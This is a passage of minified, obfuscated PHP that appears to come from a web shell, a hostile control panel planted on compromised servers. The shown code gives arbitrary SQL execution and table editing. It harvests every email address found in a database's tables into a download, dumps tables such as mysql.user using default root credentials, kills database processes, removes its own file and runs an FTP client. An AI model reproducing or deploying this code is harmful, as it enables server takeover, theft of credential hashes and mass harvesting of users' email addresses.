`".$sel_table."`;"); $sql->get_result(); for($i=0; $i < $sql->num_rows; $i++){ $field=$sql->rows[$i]; $name=$field["Field"]; if(empty($sql_tbl_insert_q)){ $v=""; } echo z9d(z9c(z7n(@htmlspecialchars($name)),"14","2").z9c($field["Type"],"14").z9c(z3m("sql_tbl_insert_functs[".@htmlspecialchars($name)."]",array( ""=>"", "PASSWORD"=>"PASSWORD", "MD5"=>"MD5", "ENCRYPT"=>"ENCRYPT", "ASCII"=>"ASCII", "CHAR"=>"CHAR", "RAND"=>"RAND", "LAST_INSERT_ID"=>"LAST_INSERT_ID", "COUNT"=>"COUNT", "AVG"=>"AVG", "SUM"=>"SUM", " "=>"--------", "SOUNDEX"=>"SOUNDEX", "LCASE"=>"LCASE", "UCASE"=>"UCASE", "NOW"=>"NOW", "CURDATE"=>"CURDATE", "CURTIME"=>"CURTIME", "FROM_DAYS"=>"FROM_DAYS", "FROM_UNIXTIME"=>"FROM_UNIXTIME", "PERIOD_ADD"=>"PERIOD_ADD", "PERIOD_DIFF"=>"PERIOD_DIFF", "TO_DAYS"=>"TO_DAYS", "UNIX_TIMESTAMP"=>"UNIX_TIMESTAMP", "USER"=>"USER", "WEEKDAY"=>"WEEKDAY", "CONCAT"=>"CONCAT"),"5"),"14").z9c(z6u("sql_tbl_insert[".(@isset($name)?@htmlspecialchars($name):"")."]",(@isset($values["$name"])?@htmlspecialchars($values["$name"]):""),"7"),"14","3"),($i%2?\'0\':\'1\')); } echo z10q(); $iradio=\'<input type="radio" id="insert" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="1"\'.(@empty($sql_tbl_insert_q)?" checked":"").\'><label for="insert">\'.z9y("405").\'</label>\'; if(!@empty($sql_tbl_insert_q)){ $iradio .= z9x().z9y("406").z9x().\'<input type="radio" id="save" style="vertical-align: middle;" name="sql_tbl_insert_radio" value="2" checked><label for="save">\'.z9y("407").\'</label>\'; $iradio .= z9v("sql_tbl_insert_q",@htmlspecialchars($sql_tbl_insert_q)); } echo z3q($iradio.z9x("3").z8b(z9y("408"),"7")); echo z9l(); } } if($table_act=="browse"){ if(!@isset($sql_from)||!@is_numeric($sql_from)) $sql_from=0; if(!@isset($sql_limit)||!@is_numeric($sql_limit)) $sql_limit=50; if(!@isset($sql_page)||!@is_numeric($sql_page)) $sql_page=0; $psql_sort=z5r($sql_sort); if($psql_sort[1]!=\'a\'){ $psql_sort[1]=\'d\'; } else { $psql_sort[1]=\'a\'; } if($psql_sort[0]>($cfields-1)) $psql_sort[0]=\'0\'; $v=$psql_sort[0]; if($crows>$sql_limit){ $pages=@ceil($crows/$sql_limit); $tmpsort=""; if(@is_array($fields)&&@isset($fields[$psql_sort[0]])){ $tmpsort=\' ORDER BY `\'.$fields[$psql_sort[0]].\'` \'.($psql_sort[1]=="a"?\'ASC\':\'DESC\'); } $table_limit=$tmpsort.\' LIMIT \'.($sql_limit*$sql_page).\',\'.$sql_limit; } else { $table_limit=\'\'; $pages=0; } $ar_pages=array(); for($i=0; $i<$pages; $i++){ $ar_pages[$i]=z9y("397")." ".($i+1); } if(@count($ar_pages)<1) $ar_pages=array("0"=>z9y("397")." 1"); echo z3q(array(z9y("395",array($sel_table,$cfields,$crows)),z10w(z9d(z6z(($sql_page>0 ? z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page"=>($sql_page=="1"?"NULL":($sql_page-1))),z8b(z9y("396"),"7")) : z8b(z9y("396"),"7")). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table"),z3m("sql_page",$ar_pages,"1",1).z8b(z9y("398"),"7")). ($sql_page<($pages-1) ? z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page"=>($sql_page+1)),z8b(z9y("399"),"7")) : z8b(z9y("399"),"7")))),"2")),"1"); $sql->query(\'SELECT * FROM \'.$sel_table.$table_limit.\';\'); if($sql->get_result()){ echo z9m(\'2\').z7o().z7j().z5z(\'\',"0").z9m("2").z7o().z7j(); echo z9m(\'2\'); echo z6f(); for($i=0;$i<@count($sql->columns);$i++){ echo ($i==0?z9c(z9y("62"),"13","2"):"").z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act","sql_db","sel_table","sql_page","sql_sort"=>($psql_sort[0]=="$i"?"$i".($psql_sort[1]=="a"?"d":"a"):"$i".$psql_sort[1])),z8b($sql->columns[$i].($psql_sort[0]=="$i"?\' \'.($psql_sort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),"13",($i==(@count($sql->columns)-1)?\'3\':\'\')); } echo z7y(); $print_arr=array(); for($i=0;$i<$sql->num_rows;$i++){ if(@is_array($sql->rows[$i])){ $tmparr=array(); foreach($sql->rows[$i] as $rk=>$rv){ $tmparr[]=$rv; } $print_arr[]=$tmparr; } } @usort($print_arr,"z2b"); if($psql_sort[1]=="d"){ $print_arr=@array_reverse($print_arr); } for($i=0;$i<@count($print_arr);$i++){ echo z6f(($i%2?\'0\':\'1\')); $cr=0; foreach($print_arr[$i] as $rv){ $w=""; for($a=0;$a<$sql->num_fields;$a++){ $w.=" `".$sql->columns[$a]."` = \'".@addslashes($print_arr[$i][$a])."\' AND"; } if($a>0) $w=@substr($w,0,@strlen($w)-3); echo ($cr==0?z9c("<nobr>".z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","sql_db","sel_table","sql_tbl_insert_q"=>$w),z3m("table_act",array("insert"=>"Edit","delete"=>"Delete"),"3").z8b("»","6"))."</nobr>","14","28"):"").z9c((@is_null($rv)?\'NULL\':@htmlspecialchars($rv)),"14",($cr==(@count($print_arr[$i])-1)?\'3\':\'\')); $cr++; } echo z7y(); } echo z10q().z7f().z7y().z10q().z5h().z7f().z7y().z10q(); } } } elseif($sql_act=="db_act"&&@isset($db_act)&&$db_act=="select"&&@isset($sql_db)&&!@empty($sql_db)) { echo z3q(z9y("366",$sql_db),"1"); $sql->query(\'SHOW TABLE STATUS;\'); if($sql->get_result()){ $psql_sort=z5r($sql_sort); if($psql_sort[1]!=\'a\'){ $psql_sort[1]=\'d\'; } else { $psql_sort[1]=\'a\'; } if($psql_sort[0]>=$sql->num_fields) $psql_sort[0]=\'0\'; $v=$psql_sort[0]; echo z9m(\'2\').z7o().z7j().z5z(\'\',"0").z9m("2").z7o().z7j(); echo z9m(\'2\').z6f(); for($i=0;$i<$sql->num_fields;$i++){ echo z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","db_act","sql_db","sel_table","sql_page","sql_sort"=>($psql_sort[0]=="$i"?"$i".($psql_sort[1]=="a"?"d":"a"):"$i".$psql_sort[1])),z8b(($i==0?"Table ":"").$sql->columns[$i].($psql_sort[0]=="$i"?\' \'.($psql_sort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),"13",($i==0?"2":($i==($sql->num_fields-1)?\'3\':\'\'))).($i==0?z9c(z9y("369"),"13","8"):\'\'); } echo z7y(); $print_arr=array(); for($i=0;$i<$sql->num_rows;$i++){ if(@is_array($sql->rows[$i])){ $tmparr=array(); foreach($sql->rows[$i] as $rk=>$rv){ $tmparr[]=$rv; } $print_arr[]=$tmparr; } } @usort($print_arr,"z2b"); if($psql_sort[1]=="d"){ $print_arr=@array_reverse($print_arr); } for($i=0;$i<@count($print_arr);$i++){ echo z6f(($i%2?\'0\':\'1\')); $cr=0; foreach($print_arr[$i] as $rv){ echo z9c((@is_null($rv)?\'NULL\':($cr==0? "<nobr>".z5x(array("act"=>"sql","sql_server","sql_user","sql_pass","sql_port","sql_engine","d","sql_act"=>"table_act","sql_db","sel_table"=>$rv,"table_act"=>"browse"),z8b($rv,"11"))."</nobr>" :@htmlspecialchars($rv))),"14",($cr==0?\'2\':($cr==(@count($print_arr[$i])-1)?\'3\':\'\'))); if($cr==0) echo z9c("<nobr>".z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","sql_db","sel_table"=>$rv),z3m("table_act",$table_actions,"3").z8b("»","6"))."</nobr>","14","8"); $cr++; } echo z7y(); } echo z10q().z7f().z7y().z10q().z5h().z7f().z7y().z10q(); } } } if($sql_act=="query"){ echo z3q(z9y("370")); echo z9m("2").z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"query","query_confirm"=>"1"), z5b(). z7u(z5t(z9y("364")).z9c(z5y("sql_db","","7"))). z9d(z5t(z9y("370")).z9c(z5w("sql_query","5").(@isset($sql_query)?@htmlspecialchars($sql_query):"").z5q())). z7u(z5t(z9x()).z9c(z8b(z9y("371"),"7"))). z5b()). z10q(); if(@isset($query_confirm)&&$query_confirm){ if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if(!$sql->select_db()){ echo z3q(z9y("447")); } } $q_sql_error=\'\'; $q_sql_result=\'\'; if(@strlen($sql_query)>5){ $q_sql_result.=z3q(z9y("394")); switch($sql->query($sql_query)){ case \'0\': $q_sql_result.=z3q("ERROR : ".$sql->error); break; case \'1\': if($sql->get_result()){ $q_sql_result.=z9m(\'2\').z7o().z7j().z5z(\'\',"0").z9m("2").z7o().z7j(); foreach($sql->columns as $k=>$v) $sql->columns[$k]=@htmlspecialchars($v,ENT_QUOTES); $keys=""; $count_keys=@count($sql->columns); $key_num=0; foreach($sql->columns as $column){ if($key_num==0){ $keys.=z9c($column,"13", "02"); } elseif($key_num==($count_keys-1)){ $keys.=z9c($column,"13", "03"); }else{ $keys.=z9c($column,"13","0"); } $key_num++; } $q_sql_result.=z7u($keys); for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k]=@htmlspecialchars($v,ENT_QUOTES); $values=""; $count_values=@count($sql->rows[$i]); $value_num=0; foreach($sql->rows[$i] as $row){ if($value_num==0){ $values.=z9c($row,"14","2"); }elseif($value_num==($count_values-1)){ $values.=z9c($row,"14","3"); }else{ $values.=z9c($row,"14"); } $value_num++; } $q_sql_result.=z7u($values,($i%2?\'0\':\'1\')); } $q_sql_result.=z7f().z7y().z10q().z5h().z7f().z7y().z10q(); } break; case \'2\': $ar=$sql->affected_rows()?($sql->affected_rows()):(\'0\'); $q_sql_result.=z3q("AFFECTED ROWS: ".$ar); break; } } if($q_sql_result!=\'\'){ echo $q_sql_result; $q_sql_result=\'\'; } } } if($sql_act=="emails"){ $emails=array(); if(!@isset($emails_filename)) $emails_filename=$tempdir."emails_".@getenv("SERVER_NAME")."_db_".@date("d-m-Y_H-i-s").".txt"; if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $table_list=array(); $sql->query(\'SHOW TABLES FROM \'.$sql_db.\';\'); if($sql->get_result()){ for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $rk=>$rv){ $table_list[]=$rv; } } } } } if(!@isset($sql_tables)||@empty($sql_tables)){ if(@isset($sel_table)&&!@empty($sel_table)){ $sql_tables=$sel_table; } else { $sql_tables=(@count($table_list)>0?@implode(",",$table_list):""); } } elseif(@isset($table_list)&&@is_array($table_list)) { $tmp_tables=@explode(",",$sql_tables); $sql_tables=""; foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); if(@in_array($tmp_table,$table_list)){ $sql_tables.=$tmp_table.","; } else { break; } } if(@empty($sql_tables)) $sql_tables=@implode(",",$table_list); } echo z3q(z9y("372")); echo z9m("2").z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"emails","dump_confirm"=>"1"), z5b(). z7u(z5t(z9y("364")).z9c(z3m("sql_db",$db_list,"7",1))). z7u(z5t(z9y("373")).z9c(z5w("sql_tables","5").(@isset($sql_tables)?@htmlspecialchars($sql_tables):"").z5q())). z7u(z5t(z9y("374")).z9c(z5y("emails_filename",$emails_filename,"7"))). z7u(z5t(z9x()).z9c(z5u("sql_save2file",z9y("375"),"sql_save2file").z9x().z5u("sql_download",z9y("376"),"sql_download"))). z7u(z5t(z9x()).z9c(z8b(z9y("377"),"7"))). z5b()). z10q(); if(@isset($dump_confirm)&&$dump_confirm){ $fp=0; if(@isset($sql_save2file)&&$sql_save2file=="1"&&@isset($dump_filename)&&!@empty($dump_filename)){ $fp=@fopen($emails_filename,"w"); } $dumping_arr=array(); $tmp_tables=@explode(",",$sql_tables); foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); $dumping_arr[]=$tmp_table; } $dumping_arr=@array_unique($dumping_arr); $sql->base=$sql_db; if(!$sql->select_db()){ echo z3q(z9y("447")); }elseif(@count($dumping_arr)<1){ echo z3q(z9y("448")); }else{ foreach($dumping_arr as $dump_table){ if($sql->parse_fields($dump_table)){ foreach($sql->columns as $ck=>$cv){ if($sql->query("SELECT ".$cv." FROM ".$dump_table." WHERE ".$cv." REGEXP \'^[^@]+@[^@]+\.[^@]{2,}$\';")){ if($sql->get_result()){ for($i=0; $i< $sql->num_rows; $i++){ $tmpmails=z3k($sql->rows[$i][$cv]); if(@count($tmpmails)>0){ foreach($tmpmails as $mtmp) $emails[]=$mtmp; } } } } } } } $emails=@array_unique($emails); if(@count($emails)>0){ $maildump=@implode("
",$emails); if(@isset($sql_download)&&$sql_download=="1"){ @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-length: ".@strlen($maildump)); @header("Content-disposition: attachment; filename=\"".@basename($emails_filename)."\";"); echo $maildump; exit(); } if(!@isset($sql_save2file)||$sql_save2file!="1"){ echo z9m(\'2\').z6f().z6q().z5w(\'\',\'1\').@htmlspecialchars($maildump).z5q().z7f().z7y().z10q().z6s(); }elseif($fp||@function_exists(\'file_put_contents\')){ if(@fwrite($fp,$maildump) or @fputs($fp,$maildump) or @file_put_contents($emails_filename,$maildump)){ echo z3q(z9y("449",$emails_filename)); }else{ echo z3q(z9y("450")); } }else{ echo z3q(z9y("450")); } } } } } if($sql_act=="serverstatus"){ echo z3q(z9y("378"),"1"); $sql->query("SHOW STATUS"); if($sql->get_result()){ echo z9m(\'2\').z7u(z9c(z9y("380"),"13","2").z9c(z9y("381"),"13","3")); for($i=0;$i<$sql->num_rows;$i++){ echo z6f(($i%2?\'0\':\'1\')); $cr=0; foreach($sql->rows[$i] as $rk=>$rv){ echo z9c($rv,"14",($cr==0?\'25\':($cr==(@count($sql->rows[$i])-1)?\'3\':\'\'))); $cr++; } echo z7y(); } echo z10q(); } } if($sql_act=="servervars"){ echo z3q(z9y("379"),"1"); $sql->query("SHOW VARIABLES"); if($sql->get_result()){ echo z9m(\'2\').z7u(z9c(z9y("380"),"13","2").z9c(z9y("381"),"13","3")); for($i=0;$i<$sql->num_rows;$i++){ echo z6f(($i%2?\'0\':\'1\')); $cr=0; foreach($sql->rows[$i] as $rk=>$rv){ echo z9c($rv,"14",($cr==0?\'25\':($cr==(@count($sql->rows[$i])-1)?\'3\':\'\'))); $cr++; } echo z7y(); } echo z10q(); } } if($sql_act=="processes"){ if(@isset($kill)&&!@empty($kill)){ $query="KILL ".$kill.";"; $sql->query($query); echo z3q(z9y("393",$kill),"1"); } else { echo z3q(z9y("382"),"1"); } $sql->query("SHOW PROCESSLIST;"); if($sql->get_result()){ echo z9m(\'2\').z7u(z9c(z9y("383"),"13","2").z9c(z9y("384"),"13").z9c(z9y("385"),"13").z9c(z9y("386"),"13").z9c(z9y("387"),"13").z9c(z9y("388"),"13").z9c(z9y("389"),"13").z9c(z9y("390"),"13").z9c(z9y("391"),"13","3")); for($i=0;$i<$sql->num_rows;$i++){ echo z6f(($i%2?\'0\':\'1\')); $cr=0; $pid=\'\'; foreach($sql->rows[$i] as $rk=>$rv){ echo z9c($rv,"14",($cr==0?\'5\':\'\')); if($cr==0) $pid=$rv; $cr++; } echo z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"processes","kill"=>$pid),z8b(z9y("392"),"7")),"14"); echo z7y(); } echo z10q(); } } if($sql_act=="showdb"){ $psql_sort=z5r($sql_sort); if($psql_sort[1]!=\'a\') $psql_sort[1]=\'d\'; if($psql_sort[0]>2) $psql_sort[0]=\'0\'; $v=$psql_sort[0]; echo z3q(z9y("359"),"1"); echo z9m(\'2\'); echo z7u( z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_sort"=>($psql_sort[0]==\'0\'?\'0\'.($psql_sort[1]=="a"?"d":"a"):\'0\'.$psql_sort[1])),z8b(z9y("360").($psql_sort[0]==\'0\'?\' \'.($psql_sort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),"13","2"). z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_sort"=>($psql_sort[0]==\'1\'?\'1\'.($psql_sort[1]=="a"?"d":"a"):\'1\'.$psql_sort[1])),z8b(z9y("361").($psql_sort[0]==\'1\'?\' \'.($psql_sort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),"13"). z9c(z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_sort"=>($psql_sort[0]==\'2\'?\'2\'.($psql_sort[1]=="a"?"d":"a"):\'2\'.$psql_sort[1])),z8b(z9y("362").($psql_sort[0]==\'2\'?\' \'.($psql_sort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),"13"). z9c(z9y("363"),"13","3") ); if(@count($db_list)>1){ $def_db=$sql->base; $total_tables=0; $total_size=0; $print_arr=array(); foreach($sql->list_dbs() as $k=>$kv){ $sql->base=$k; $tables="0"; $size="0"; if($sql->select_db()){ $sql->query("SHOW TABLES;"); if($sql->get_result()) $tables=$sql->num_rows; $sql->query("SELECT round(data_length + index_length) FROM information_schema.TABLES WHERE table_schema = \"".$k."\";"); if($sql->get_result()) $size=@implode(\'\',$sql->rows[0]); } $print_arr[]=array($k,$size,$tables); $total_tables+=$tables; $total_size+=$size; } $sql->base=$def_db; $sql->select_db(); } if(@count($print_arr)>0){ $count=0; @usort($print_arr,"z2b"); if($psql_sort[1]=="d"){ $print_arr=@array_reverse($print_arr); } foreach($print_arr as $ar){ echo z7u(z9c(z5x(array("act"=>"sql","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act","db_act"=>"select","d","sql_db"=>$ar[0]),z8b($ar[0],"11")),"14","2").z9c(z7x($ar[1]),"14").z9c($ar[2],"14").z9c("<nobr>".z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act","sql_db"=>$ar[0]),z3m("db_act",$db_actions,"3").z8b("»","6"))."</nobr>","14","38"),($count%2?\'0\':\'1\')); $count++; } echo z7u(z9c(z7n(z9y("409",$count)),"13","2").z9c(z7x($total_size),"13").z9c($total_tables,"13").z9c(z9x(),"13","3")); } echo z10q(); } } } else { $hmsg=z9y("191"); } } if(!$hideconnect){ if(!@isset($q_sql_query)) $q_sql_query="SHOW DATABASES;
SELECT * FROM user;"; if(!@isset($q_sql_filename)) $q_sql_filename=$tempdir."dump_".@getenv("SERVER_NAME")."_db_".@date("d-m-Y_H-i-s").".sql"; $available_arr=array(); if($bmysql) $available_arr["MySQL"]="MySQL"; if($bmssql) $available_arr["MSSQL"]="MSSQL"; if($bpostgres) $available_arr["PostgreSQL"]="PostgreSQL"; if($boracle) $available_arr["Oracle"]="Oracle"; echo z3q(z9y("451").($hmsg!=\'\'?\' : \'.$hmsg:\'\')); echo z9m(\'2\'). z5x(array("act"=>"sql","d"), z5b(). z7u(z6z(z7n(z9y("452"))).z7k(z5y("sql_server","127.0.0.1","4").":".z5y("sql_port","3306","1")).z6z(z7n(z9y("453"))).z7k(z5y("sql_user","root","4")).z6z(z7n(z9y("454"))).z7k(z5y("sql_pass","","4")).z6z(z7n(z9y("455"))).z7k(z5y("sql_db","","4")).z6z(z7n(z9y("456"))).z7k(z3m("sql_engine",array("MySQL"=>"MySQL"),"4",1).z8b(z9y("457"),"7"))) ). z10q(); echo z6s(); echo z3q(array(z9y("410"),z9y("420")),\'46\'); echo z9m(\'2\'). z9d( z9c( z5x(array("act"=>"sql","d","q_sql_action"=>"dump"), z9m(). z5b(). z7u(z5t(z9y("411")).z9c(z3m("q_sql_engine",$available_arr,"4",1))). z7u(z5t(z9y("412")).z9c(z5y("q_sql_server","127.0.0.1",\'4\').":".z5y("q_sql_port","3306","1"))). z7u(z5t(z9y("413")).z9c(z5y("q_sql_user","root","4").":".z5y("q_sql_pass","","4"))). z7u(z5t(z9y("414")).z9c(z5y("q_sql_db","mysql","4").".".z5y("q_sql_table","user","4"))). z7u(z5t(z9y("415")).z9c(z5y("q_sql_filename",$q_sql_filename,"8"))). z7u(z5t(z9x()).z9c(z5u("q_sql_download",z9y("416"),"q_sql_download"))). z7u(z5t(z9x()).z9c(z5u("q_sql_save2file",z9y("417"),"q_sql_save2file"))). z7u(z5t(z9x()).z9c(z8b(z9y("418"),"7"))). z5b(). z10q() ) ,\'\',\'4\'). z9c( z5x(array("act"=>"sql","d","q_sql_action"=>"query"), z9m(). z5b(). z7u(z5t(z9y("411")).z9c(z3m("q_sql_engine",$available_arr,"4",1))). z7u(z5t(z9y("412")).z9c(z5y("q_sql_server","127.0.0.1","4").":".z5y("q_sql_port","3306","1"))). z7u(z5t(z9y("413")).z9c(z5y("q_sql_user","root","4").":".z5y("q_sql_pass","","4"))). z7u(z5t(z9y("421")).z9c(z5y("q_sql_db","mysql","4"))). z9d(z5t(z9y("370")).z9c(z5w("q_sql_query","4").@htmlspecialchars($q_sql_query).z5q())). z7u(z5t(z9x()).z9c(z8b(z9y("422"),"7"))). z5b(). z10q() ) ,\'\',"46") ). z10q(); if(@isset($q_sql_action)&&$q_sql_action=="query"){ $sql=new my_sql(); $sql->db=$q_sql_engine; $sql->host=$q_sql_server; $sql->port=$q_sql_port; $sql->user=$q_sql_user; $sql->pass=$q_sql_pass; $sql->base=$q_sql_db; $querys=@explode(\';\',$q_sql_query); $q_sql_connect_error=""; $q_sql_error=\'\'; $q_sql_result=\'\'; if(!$sql->connect()) $q_sql_connect_error=z3q(z9y("419")); else{ if(!empty($sql->base)&&!$sql->select_db()) $q_sql_connect_error=z3q(z9y("447")); else{ foreach($querys as $num=>$query){ if(@strlen($query)>5){ $q_sql_result.=z3q(z9y("423", array($num,@htmlspecialchars($query,ENT_QUOTES)))); switch($sql->query($query)){ case \'0\': $q_sql_result.=z3q("ERROR : ".$sql->error); break; case \'1\': if($sql->get_result()){ $q_sql_result.=z9m(\'2\').z7o().z7j().z5z(\'\',"0").z9m("2").z7o().z7j(); foreach($sql->columns as $k=>$v) $sql->columns[$k]=@htmlspecialchars($v,ENT_QUOTES); $keys=""; $count_keys=@count($sql->columns); $key_num=0; foreach($sql->columns as $column){ if($key_num==0){ $keys.=z9c($column,"13", "02"); }elseif($key_num==($count_keys-1)){ $keys.=z9c($column,"13", "03"); }else{ $keys.=z9c($column,"13","0"); } $key_num++; } $q_sql_result.=z7u($keys); for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k]=@htmlspecialchars($v,ENT_QUOTES); $values=""; $count_values=@count($sql->rows[$i]); $value_num=0; foreach($sql->rows[$i] as $row){ if($value_num==0){ $values.=z9c($row,"14","2"); }elseif($value_num==($count_values-1)){ $values.=z9c($row,"14","3"); }else{ $values.=z9c($row,"14"); } $value_num++; } $q_sql_result.=z7u($values,($i%2?\'0\':\'1\')); } $q_sql_result.=z7f().z7y().z10q().z5h().z7f().z7y().z10q(); } break; case \'2\': $ar=$sql->affected_rows()?($sql->affected_rows()):(\'0\'); $q_sql_result.=z3q("AFFECTED ROWS: ".$ar); break; } } if($q_sql_result!=\'\'){ echo $q_sql_result; $q_sql_result=\'\'; } } } } if($q_sql_connect_error!=""){ echo $q_sql_connect_error; } } if(@isset($q_sql_action)&&$q_sql_action=="dump"){ $fp=0; if(@isset($q_sql_save2file)&&$q_sql_save2file=="1"&&@isset($q_sql_filename)&&!@empty($q_sql_filename)){ $fp=@fopen($q_sql_filename,"w"); } $q_sql_filename=@str_replace("_db_","_".$q_sql_db."_",$q_sql_filename); $sql=new my_sql(); $sql->db=$q_sql_engine; $sql->host=$q_sql_server; $sql->port=$q_sql_port; $sql->user=$q_sql_user; $sql->pass=$q_sql_pass; $sql->base=$q_sql_db; $q_sql_dumped=""; if(!$sql->connect()){ echo z3q(z9y("419")); }elseif(!$sql->select_db()){ echo z3q(z9y("447")); }elseif(!$sql->dump($q_sql_table)){ echo z3q(z9y("458")); }else{ foreach($sql->dump as $v) $q_sql_dumped.=$v."
"; if(@isset($q_sql_download)&&$q_sql_download=="1"){ @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-length: ".@strlen($q_sql_dumped)); @header("Content-disposition: attachment; filename=\"".@basename($q_sql_filename)."\";"); echo $q_sql_dumped; exit(); } if(!@isset($q_sql_save2file)||$q_sql_save2file!="1"){ echo z9m(\'2\').z6f().z6q().z5w(\'\',\'1\').@htmlspecialchars($q_sql_dumped).z5q().z7f().z7y().z10q().z6s(); }else if($fp||@function_exists(\'file_put_contents\')){ if(@fwrite($fp,$q_sql_dumped) or @fputs($fp,$q_sql_dumped) or @file_put_contents($q_sql_filename,$q_sql_dumped)){ z3q(z9y("459")); }else{ echo z3q(z9y("450")); } }else{ echo z3q(z9y("450")); } } } } } if($act=="selfremove"){ if(@isset($dconfirm)&&$dconfirm){ if($saddr!="127.0.0.1") echo z3q((@unlink(__FILE__)?z9y("462"):z9y("463",__FILE__))); } else { echo z3q(z9y("460")); echo z6s().z10w(z7u(z6l(z7n(z9y("461")).z5x(array("act"=>"selfremove","d","dconfirm"=>"1"),z8b(z9y("21"),"7")).z9x().z5x($back_form_actions,z8b(z9y("22"),\'7\')))),"2").z6s(); } } if($act==\'ftp\'){ $a_transfer=array("FTP_BINARY"=>"FTP_BINARY", "FTP_ASCII"=>"FTP_ASCII"); $hmsg=\'\'; $hideconnect=0; $jsid=0; if(@isset($ftp_server)&&!@isset($ftp_passive)) $ftp_passive=0; if(!@isset($ftp_server)&&!@isset($ftp_passive)) $ftp_passive="1"; if(@isset($ft)&&$ft=="logoff"){ if(@isset($_SESSION[\'ftp_server\'])){ z0i(\'ftp_current_dir\'.$_SESSION[\'ftp_server\']); } z0i(\'ftp_server\'); z0i(\'ftp_username\'); z0i(\'ftp_password\'); z0i(\'ftp_port\'); z0i(\'ftp_passive\'); z0i(\'ftp_session\'); } $ftp_session=0; if(@isset($_SESSION[\'ftp_session\'])){ $ftp_server=$_SESSION[\'ftp_server\']; $ftp_username=$_SESSION[\'ftp_username\']; $ftp_password=$_SESSION[\'ftp_password\']; $ftp_port=$_SESSION[\'ftp_port\']; $ftp_passive=$_SESSION[\'ftp_passive\']; $ftp_session=1; } if(!@empty($ftp_server)&&!@empty($ftp_port)&&!@empty($ftp_username)&&!@empty($ftp_password)&&!@isset($ftp_quickaction)){ $ftp=new ftp($ftp_server,$ftp_port,$ftp_username,$ftp_password,$ftp_passive); if($ftp->loggedOn){ if(!@isset($ftp_current_dir)||@empty($ftp_current_dir)){ $ftp_current_dir=z1k((@isset($_SESSION[\'ftp_current_dir\'.$ftp_server])?$_SESSION[\'ftp_current_dir\'.$ftp_server]:\'/\')); } if(@isset($rd)) $ftp_current_dir = z1k($ftp_current_dir.$rd); $ftp->setCurrentDir($ftp_current_dir); $ftp_current_dir=$ftp->currentDir; $_SESSION[\'ftp_current_dir\'.$ftp_server]=$ftp_current_dir; $_SESSION[\'ftp_server\']=$ftp_server; $_SESSION[\'ftp_username\']=$ftp_username; $_SESSION[\'ftp_password\']=$ftp_password; $_SESSION[\'ftp_port\']=$ftp_port; $_SESSION[\'ftp_passive\']=$ftp_passive; $_SESSION[\'ftp_session\']=1; $hideconnect=1; $hmsg=z5x(array("act"=>"ftp","d","ft"=>"logoff"),z8b(z9y("196"), "1")); } else { $hmsg=z9y("191"); } } if(!@isset($ftp_server)||@empty($ftp_server)) $ftp_server="127.0.0.1"; if(!@isset($ftp_port)||@empty($ftp_port)) $ftp_port="21"; if(!@isset($ftp_username)||@empty($ftp_username)) $ftp_username="anonymous"; if(!@isset($ftp_password)||@empty($ftp_password)) $ftp_password="[email protected]"; if(!@isset($ftp_localfile)||@empty($ftp_localfile)) $ftp_localfile=$d; if(!@isset($ftp_remotefile)||@empty($ftp_remotefile)) $ftp_remotefile="/ftp-dir/somefile.txt"; if($hideconnect){ if(@isset($lmkdir)&&$lmkdir&&@isset($ldir)&&!@empty($ldir)){ @mkdir($d.$ldir); } if(@isset($fmkdir)&&$fmkdir&&@isset($fdir)&&!@empty($fdir)){ $ftp->makeDir(z1k($ftp_current_dir).$fdir); } $ltarr=array(); $rtarr=array(); if(@isset($action)&&!@empty($action)&&(@isset($ltall)||@isset($rtall))){ $ft=$action; if(@isset($rtall)||@strstr($rtall,"
")){ $rtarr=@explode("
", $rtall); } elseif(@isset($ltall)||@strstr($ltall,"
")){ $ltarr=@explode("
